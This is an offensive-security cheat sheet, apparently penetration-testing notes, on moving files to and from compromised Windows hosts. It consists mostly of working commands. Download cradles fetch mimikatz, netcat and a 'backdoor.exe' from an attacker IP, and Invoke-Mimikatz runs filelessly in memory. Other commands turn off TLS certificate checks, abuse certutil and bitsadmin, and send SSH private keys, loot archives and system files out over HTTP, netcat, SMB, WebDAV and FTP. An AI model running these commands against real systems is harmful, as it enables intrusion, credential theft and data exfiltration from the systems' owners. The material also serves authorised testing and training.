Windows gives you several native ways to move files across the network. Some are old (certutil, bitsadmin), some modern (PowerShell), and all are present on a default install — which is the whole point. Know them, because the day your beacon can’t reach back out over HTTPS is the day you need certutil.

PowerShell Downloads

WebClient — DownloadFile (to disk)

(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/mimikatz.exe','C:\Users\Public\mimikatz.exe')
MethodPurpose
DownloadFileWrite to disk
DownloadStringReturn as string (feed to IEX)
DownloadDataReturn byte array
OpenReadStream

Each has an Async variant that returns immediately and runs in the background.

DownloadString — Fileless Execution

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1')
 
# Pipeline form
(New-Object Net.WebClient).DownloadString('http://10.10.10.10/x.ps1') | IEX

No file touches disk — the script lives only in RAM for the lifetime of the process.

Invoke-WebRequest (PowerShell 3.0+)

Invoke-WebRequest http://10.10.10.10/backdoor.exe -OutFile backdoor.exe
iwr http://10.10.10.10/x.ps1 -OutFile x.ps1 -UseBasicParsing

Aliases: iwr, curl, wget.

IE engine error

Invoke-WebRequest : The response content cannot be parsed because the Internet Explorer engine is not available... — fix with -UseBasicParsing.

Bad TLS

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

certutil — The Classic LOLBin

certutil.exe -urlcache -split -f "http://10.10.10.10/nc.exe" nc.exe
certutil.exe -verifyctl -split -f "http://10.10.10.10/nc.exe"

Flagged by most modern AV, but still works in constrained environments.

bitsadmin

bitsadmin /transfer job /download /priority normal http://10.10.10.10/nc.exe C:\Users\Public\nc.exe

Downloads via the Background Intelligent Transfer Service — the same mechanism Windows Update uses, so it blends in.

SMB Downloads

Start an SMB server on the attacker:

sudo impacket-smbserver scripts -smb2support /tmp/smbshare
# Or with creds (required against modern Windows that blocks anonymous guest)
sudo impacket-smbserver scripts -smb2support /tmp/smbshare -user test -password test

Pull from the target:

copy \\10.10.10.10\scripts\winpeas.ps1 C:\Users\Public\
net use n: \\10.10.10.10\scripts /user:test test
copy n:\winpeas.ps1 .
ApproachProCon
Mapped drive (n:)Short paths for many filesVisible drive letter
UNC pathStealthierVerbose

FTP Downloads

Server (attacker):

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21

Target (anonymous):

(New-Object Net.WebClient).DownloadFile('ftp://10.10.10.10/file.txt','C:\Users\Public\file.txt')

Non-interactive shell? Script the FTP client:

echo open 10.10.10.10 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo get file.txt >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt

PowerShell Uploads

PSUpload.ps1 → python uploadserver

Attacker:

pip3 install uploadserver
python3 -m uploadserver

Target:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/powershell/PSUpload.ps1')
Invoke-FileUpload -Uri http://10.10.10.10:8000/upload -File C:\Users\Administrator\id_rsa

Base64 → netcat POST

nc -nvlp 1234
$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\Users\Public\id_rsa' -Encoding Byte))
Invoke-WebRequest -Uri http://10.10.10.10:1234/ -Method POST -Body $b64

Decode on attacker:

echo '<base64>' | base64 -d > id_rsa

SMB / WebDAV Upload

If SMB/445 is open, reuse impacket-smbserver and copy ... \\host\share.

When 445 is blocked, WebDAV tunnels SMB-style ops over HTTP:

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous
dir \\10.10.10.10\DavWWWRoot
copy C:\Users\Administrator\Desktop\loot.zip \\10.10.10.10\DavWWWRoot\

DavWWWRoot

DavWWWRoot is a keyword the Windows WebDAV mini-redirector recognizes to mean “root of the WebDAV server.” You can skip it if you reference a real folder name instead.

FTP Upload

sudo python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://10.10.10.10/hosts','C:\Windows\System32\drivers\etc\hosts')

Base64 Staging (Terminal-Only Transfer)

When nothing outbound works and you only have a shell:

# Encode on the target
[Convert]::ToBase64String((Get-Content -Path 'C:\Users\Public\id_rsa' -Encoding Byte))
 
# Decode a blob you pasted in
[IO.File]::WriteAllBytes('C:\Users\Public\id_rsa',[Convert]::FromBase64String('BASE64HERE'))
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

cmd.exe 8191-char limit

If the blob exceeds 8191 chars, split it. PowerShell is less restrictive but still has limits on very large strings.

Writable without admin

C:\Users\Public and C:\Windows\Temp are world-writable by default.